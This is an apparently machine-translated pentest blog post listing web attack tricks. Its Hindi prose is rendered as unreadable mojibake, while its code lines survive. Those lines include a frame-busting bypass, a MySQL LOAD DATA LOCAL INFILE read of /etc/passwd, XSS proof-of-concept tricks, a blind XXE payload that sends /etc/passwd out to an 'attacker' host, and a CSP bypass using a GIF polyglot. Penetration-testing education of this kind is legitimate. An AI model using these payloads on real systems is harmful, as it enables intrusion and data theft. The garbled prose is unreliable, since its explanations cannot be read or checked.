рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░! рдпрд╣ рд╡рд┐рд╖рдп рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ рдЬрдм рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ (рдкреЗрдВрдЯреЗрд╕реНрдЯ) рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдордп-рд╕рдордп рдкрд░, рдЖрдк рдПрдХ рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЖрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдВ рдЖрдкрдХреЛ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрд░рдХреНрд╖рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЗрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ, рдпрд╛ рдмрд╕ рдХреБрдЫ рдЕрдирднрд┐рдЬреНрдЮ рдЬрдЧрд╣ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред рдФрд░ рдпрд╣ рдкреЛрд╕реНрдЯ рдЙрд╕реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ! рдмрд┐рд▓реНрд▓реА рдХреЗ рд▓рд┐рдП рдЖрдкрдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИред
рдЯреНрд░рд┐рдХ # 1 - рдмрд╛рдпрдкрд╛рд╕ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди
рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдЗрдВрдЯрд░рдиреЗрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рдЙрд╕реЗ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рдкреГрд╖реНрда рдкрд░ рдкрд╣реБрдВрдЪрд╛рдиреЗ рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕рд┐рджреНрдзрд╛рдВрдд рдЗрд╕ рддрдереНрдп рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рджреГрд╢реНрдп рдкреГрд╖реНрда рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдПрдХ рдЕрджреГрд╢реНрдп рдкрд░рдд рд╕реНрдерд┐рдд рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреГрд╖реНрда рд▓реЛрдб рд╣реИ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд┐рдпрдВрддреНрд░рдг рддрддреНрд╡ (рдмрдЯрди, рд▓рд┐рдВрдХ) рджреГрд╢реНрдпрдорд╛рди рд▓рд┐рдВрдХ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдХреНрд▓рд┐рдХ рдХрд┐рдП рдЬрд╛рдиреЗ рдХреА рдЙрдореНрдореАрдж рд╣реИ рдХреЗ рд╕рд╛рде рд╕рдВрдпреБрдХреНрдд рд╣реИред ред рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕рдВрднрд╡ рд╣реИрдВ - рдХрд┐рд╕реА рд╕рд╛рдорд╛рдЬрд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреА рд╕рджрд╕реНрдпрддрд╛ рд╕реЗ рд▓реЗрдХрд░ рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЪреЛрд░реА рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рдФрд░ рдХреЗ рдЦрд░реНрдЪ рдкрд░ рдСрдирд▓рд╛рдЗрди рд╕реНрдЯреЛрд░ рдореЗрдВ рдЦрд░реАрджрд╛рд░реА рдХрд░рдиреЗ рддрдХ (C) http://ru.wikipedia.org/wiki/Klickjacking
рдЗрд╕ рд╣рдорд▓реЗ рдореЗрдВ, рдЖрдкрдХреЛ рдлрд╝реНрд░реЗрдо рдореЗрдВ рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рд╕рд╣реА рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрд╡рд╢реНрдпрдХ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХреНрд╕-рдлрд╝реНрд░реЗрдо-рд╡рд┐рдХрд▓реНрдк рд╣реЗрдбрд░ рдХреЛ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдП (рдЖрдорддреМрд░ рдкрд░ рдлреНрд░реЗрдо рдореЗрдВ рд╕рдВрд╕рд╛рдзрди рдХреЛ рд╕рднреА рдХреЛ рджрд┐рдЦрд╛рдирд╛ рдордирд╛ рд╣реИ)ред
рд▓реЗрдХрд┐рди рд╕рд╛рдЗрдЯреЛрдВ рдХреА рдПрдХ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдЖрдк рдПрдХ рд╕рдорд╛рди рдХреЛрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
if (self !== top) { top.location = self.location; }
рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬрд┐рд╕рдХреА рдорджрдж рд╕реЗ рд╕рдВрд╕рд╛рдзрди рдлреНрд░реЗрдо рд╕реЗ рдмрд╛рд╣рд░ "рдХреВрдж" рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдФрд░ рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВред
1. рджреМрдбрд╝ рдХреА рд╣рд╛рд▓рдд
рд╣рдо рдПрдХ рдЕрдирд▓реЛрдб рд╡рд┐рдВрдбреЛ рдкрд░ рдПрдХ рдирдИ рд╢реНрд░реЛрддрд╛ рдХреЛ "рд▓рдЯрдХрд╛" рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреВрд░реА рдЦрд┐рдбрд╝рдХреА рдХреЛ рдПрдХ рджреМрдбрд╝ рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ
var kill_bust = 0 window.onbeforeunload = function(){kill_bust++}; setInterval(function() { if (kill_bust > 0) { kill_bust -= 2; top.location = '204.php'; }}, 1);
рдЬрд╣рд╛рдБ 204.php рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдкрд┐ рд╣реИ
header("HTTP/1.0 204 No Response");
рдирддреАрдЬрддрди, рд╕рд╛рдЗрдЯ рдХреЛ рдлреНрд░реЗрдо рд╕реЗ рдмрд╛рд╣рд░ "рдХреВрдж" рди рджреЗрдВред
2. HTML5 рдорд╛рдирдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдПрдХреНрд╢рди рдХреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЛрдб рдореЗрдВ рдЦреЛрд▓рдХрд░ рд╕реАрдорд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
<iframe src="http://victim.com" sandbox=" allow-forms allow-scripts" />
ZeroNights рд╡рд░реНрдХрд╢реЙрдк рдореЗрдВ рдЗрди рддрд░реАрдХреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ:
2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdfрдЯреНрд░рд┐рдХ # 2 - MySQL рдореЗрдВ рдлрд╛рдЗрд▓ рдХреЛ рдмрд┐рдирд╛ file_priv рдХреЗ рдкрдврд╝рдирд╛
рдРрд╕рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓реЗрдВ рдХреЗрд╡рд▓ MySQL рдореЗрдВ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рд▓реЗрдХрд┐рди рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕рдЪ рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЯреЗрдмрд▓ рдмрдирд╛рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИ, рддреЛ рд╣рдо рдмрд┐рдирд╛ file_priv рдХреЗ рдЯреЗрдмрд▓ рдмрдирд╛рддреЗ рд╕рдордп рдлрд╛рдЗрд▓ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';
рдФрд░
select * from test;
рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░
рдЪрд░реНрдЪрд╛ рдлреЛрд░рдо рдкрд░ рдХреА
рдЬрд╛рддреА рд╣реИ ред
рдЯреНрд░рд┐рдХ # 3 - рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХреЗ рд▓рд┐рдП рдЗрдХреЛ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
рдпрд╣ рдЪрд╛рд▓ рдмрд╣реБрдд рд╡рд┐рд╢рд┐рд╖реНрдЯ XSS рдХреЗ рд▓рд┐рдП PoC рдмрдирд╛рдиреЗ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред рдПрдХ рдкреНрд░рддрд┐рдзреНрд╡рдирд┐ рд╕реЗрд╡рд╛ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдЬреЛ рдХреЗрд╡рд▓ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╡рд╛рдкрд╕ рдЦрд┐рд▓рд╛рддреА рд╣реИред рдпрджрд┐ рд╣рдо рдЗрд╕реЗ HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдмрд╕ рд╣рдорд╛рд░реЗ рд╕рднреА HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рд╣рдореЗрдВ рд╡рд╛рдкрд╕ рдХрд░ рджреЗрдЧрд╛ред рдФрд░ рдЕрдЧрд░ рд╣рдо
рдкреАрдбрд╝рд┐рддреЛрдВ рдХреА рддрд░рд╣ рдХреБрдЫ
рдкреВрдЫрддреЗ рд╣реИрдВред
Com : 1024 / <script> рд╕рддрд░реНрдХ (1) </ script>? рдлрд┐рд░ рд╡рд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдкреВрд░рд╛ HTTP рдЕрдиреБрд░реЛрдз рд╡рд╛рдкрд╕ рдХрд░реЗрдЧрд╛, рдЬрд╣рд╛рдВ рд╢реБрд░реБрдЖрдд рдореЗрдВ XSS рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рджреЛ рдмрд┐рдВрджреБ рд╣реИрдВред
- HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рд╣реА рдирд╣реАрдВ рд╣реЛрдЧреА (рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд╕реНрдХрд░рдг HTTP 1.X + рдХреЗ рд▓рд┐рдП), рд▓реЗрдХрд┐рди HTTP 0.9 рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд╛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдЬрд╡рд╛рдм рджреЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░ (рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░) рдРрд╕реЗ рдЙрддреНрддрд░реЛрдВ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ Michal Zalewski рдХреЗ рдж рдЯреИрдВрдЧрд▓реНрдб рд╡реЗрдм рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
- рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдпреВрдЖрд░рдПрд▓ рдХреЛ рдПрдХ "рд╕реБрд░рдХреНрд╖рд┐рдд" рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЖрдкрдХреЗ рдкрддрд╛ рдмрд╛рд░ рдореЗрдВ 20% рдФрд░ рдЗрд╕реА рддрд░рд╣ рдХреА рдЪреАрдЬреЗрдВ)ред рдирддреАрдЬрддрди, рдкреНрд░рддрд┐рдзреНрд╡рдирд┐ рд╕реЗрд╡рд╛ рдЗрд╕реЗ xss - <script> рдХреЗ рд╕рд╛рде рд╣рдорд╛рд░реЗ рдЯреИрдЧ рдирд╣реАрдВ рд▓реМрдЯрд╛рдПрдЧреА, рд▓реЗрдХрд┐рди% 3Ccript% 3Eред рд▓реЗрдХрд┐рди! рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕реНрдкреНрд▓реЛрд░рд░ URL рдореЗрдВ рдкрд╣рд▓реЗ рдкреНрд░рд╢реНрди (GET рдкреИрд░рд╛рдореАрдЯрд░) рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛ рдХреЛ рдПрдирдХреЛрдб рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рд▓реЗрдХрд┐рди рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдмрдирд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ URL рдореЗрдВ рдХреБрдЫ рднреА рди рдбрд╛рд▓реЗрдВ (рдпрд╣ рд╡рд┐рдзрд┐ рдЧрд▓рддреА рд╕реЗ рдкреЗрдВрдЯ рдХреЗ рджреМрд░рд╛рди рдорд┐рд▓реА рдереА)ред рдпрд╣ рд▓реЛрдХреЗрд╢рди рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ IE рд▓рд┐рдВрдХ рдХреЛ рд░реЗрдВрдбрд░ рдХрд░рдирд╛ рд╣реИ
<?php header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED"); ?>
рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдХ рдЧреВрдВрдЬ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ, рдЬреЛ рдЗрд╕реЗ рд╣рдореЗрдВ рд╡рд╛рдкрд╕ рдХрд░ рджреЗрдЧрд╛ред рдФрд░ IE рдкреНрд░рддрд┐рдкрд╛рджрди рдХрд░рддрд╛ рд╣реИред
рдЕрдЧрд▓рд╛, рдПрдХ рддрд╛рд░реНрдХрд┐рдХ рдкреНрд░рд╢реНрди рдЙрдарддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реЗрдо рдУрд░рд┐рдЬрд┐рди рдкреЙрд▓рд┐рд╕реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛? рдЖрдЦрд┐рд░рдХрд╛рд░, рд╣рдо рдПрдХ рдЕрд▓рдЧ рдкреЛрд░реНрдЯ рдкрд░ js рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдкреЛрд░реНрдЯ рд╕реЗ рдЕрд▓рдЧ рдФрд░ рдЬрд┐рд╕ рд╕рд╛рдЗрдЯ рдкрд░ рд╣рдо рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ? рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдореЗрдВ, рдкреЛрд░реНрдЯ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдПрд╕рдУрдкреА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдзреНрдпрд╛рди рдирд╣реАрдВ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдирддреАрдЬрддрди, рдЗрд╕ рддрд░рд╣ рдХреА рдЪрд╛рд▓ рдмрд╕ (POC) рдХреЛ рджрд┐рдЦрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреА рд╣реИ рдХрд┐ рд╡реЗрдХреНрдЯрд░ рдбреЗрдЯрд╛ рдореЗрдВ рд╣реИ, рдмрд╣реБрдд рдХрдард┐рди рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП - рдПрд╕рдПрдкреА рдореЗрдВ рд╣рдорд╛рд░реЗ рдХреНрд▓рд░реНрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╕рдорд╛рди рдкрд╛рдпрд╛ рдЧрдпрд╛ред
рдЯреНрд░рд┐рдХ # 4 - рдмреНрд▓рд╛рдЗрдВрдб рдПрдХреНрд╕рдПрдордПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдкрдврд╝рдирд╛
XXE XML рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдкрд░ рд╣рдорд▓рд╛ рд╣реИред рдХреБрдЫ рдорд╛рдиреНрдп рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдХреЗ рдмрдЬрд╛рдп, XML рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХреЛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╛рд░реНрд╕рд░ рдХреЛ рдкрд╣рд▓реЗ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ) рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рд╣реА рд╕рднреА XML рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдПрдХ рдЗрдХрд╛рдИ рдХреЗ рд░реВрдк рдореЗрдВ, рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЙрдкрдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ) рдФрд░ рдлрд┐рд░ рдЕрдкрдирд╛ рдЙрдкрдирд╛рдо рджреЗрдЦреЗрдВ (рдФрд░ рдпрд╣ рдПрдХ / / / рдкрд╛рд╕рд╡рд╛рд░реНрдб рд╣реИ)ред рд▓реЗрдХрд┐рди рдРрд╕реА рд╕реНрдерд┐рддрд┐рдпрд╛рдВ рд╣реИрдВ рдЬрдм рдЖрдк XML рдФрд░ рд╕рдм рдХреБрдЫ рднреЗрдЬрддреЗ рд╣реИрдВ, рдХрд╣реАрдВ рднреА, рдХреЛрдИ рдЬрд╡рд╛рдм рдирд╣реАрдВред рдЗрд╕ рддрд░рд╣ рдХреЗ рдЕрдВрдзрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде, рдЖрдк рдЬрд╛рдкрд╛рдиреА / рдкреАрдЯреА рд╡реЗрдХреНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдмрд╛рд╣рд░реА рдкрддреЗ рдкрд░ DTD рдХреЗ рд╕рд╛рде рдкрд╣рд▓рд╛ XML рд╕реБрдЭрд╛рдпрд╛ рдЧрдпрд╛:
evil.xml <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker/test.dtd" > <foo>&e1;</foo>
test.dtd <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>"> %p2;
рдирддреАрдЬрддрди, XML рдкрд╛рд░реНрд╕рд░ рдбреЗрдЯрд╛ рдХреЛ рдКрдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЬреАрдИрдЯреА рдЗрдХрд╛рдИ рдХреЛ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдбреЗрдЯрд╛ рд╣реЛрдЧрд╛ (рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА access.log рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд░рд╣рд╛ рд╣реИ)ред
рдЯреНрд░рд┐рдХ # 5 - GIF рдлрд╝рд╛рдЗрд▓ рд╕реЗ CSP рдмрд╛рдИрдкрд╛рд╕ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди
рд╕рд╛рдордЧреНрд░реА-рд╕реБрд░рдХреНрд╖рд╛-рдиреАрддрд┐ - рдПрдХ рд╣реЗрдбрд░ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдбреЗрдЯрд╛ рдХреЛ рдХрд╣рд╛рдВ рд╕реЗ рд▓реЛрдб рдХрд░рдирд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬреЗрдПрд╕), рдмрд╛рдХреА рд╕рдм рдХреБрдЫ рдирд┐рд╖рд┐рджреНрдз рд╣реИред рдпрд╣ рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рдХреЛ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рдХрд░рддрд╛ рд╣реИред рд╣рдо рдЕрдкрдирд╛ рдкрд░рд┐рдЪрдп рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рдо js - рдирд╣реАрдВ, .js рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбреЛрдореЗрди рд╕реЗ рд╣реА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдм, рдпрджрд┐ рд╣рдо рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкрддреНрд░ рдореЗрдВ рд╕рдВрд▓рдЧреНрди рдХрд░реЗрдВ), рддреЛ рд╣рдо рдПрдХ "рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг" рдХрд╛рдлреА рд╡реИрдз рдЬреАрдЖрдИрдПрдл рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рд╕рд╛рде
<script src = "http://domain-in-white-list/evil_image.gif"></script>
рдЬреЗрдПрд╕ рд╕рдЪ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
рдлреЗрд╕рдмреБрдХ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд
рдбреЗрдореЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ ред
рдЯреНрд░рд┐рдХ # 6 - "рдХрдВрдЯреЗрдВрдЯ-рдбрд┐рд╕реНрдкреЛрдЬрд▓: рдЕрдЯреИрдЪрдореЗрдВрдЯ" рд╣реИрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рдирд╛ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд░ рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд░реЗрдВрдбрд░ рдХрд░рдирд╛ред
рдореИрдВрдиреЗ рдЗрд╕ рд╡реЗрдХреНрдЯрд░ рдХрд╛
рдпрд╣рд╛рдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд┐рдпрд╛
рд╣реИ ред рдореБрджреНрджрд╛ рдпрд╣ рд╣реИ рдХрд┐ iOS рдбрд┐рд╡рд╛рдЗрд╕ рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ "рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп" рд╕рд╛рдордЧреНрд░реА (html / svg) рд░реЗрдВрдбрд░ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдЬреАрдореЗрд▓ рд╕реЗ рд▓рдЧрд╛рд╡ рдХреЗ рдЕрдВрддрд┐рдо рд▓реЗрдЦ рд╕реЗ, рдЬреЛ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдЕрдкрдиреЗ рдЖрдк рдирд╣реАрдВ рдЦреБрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП
рдЬреАрдореЗрд▓ |  |  |
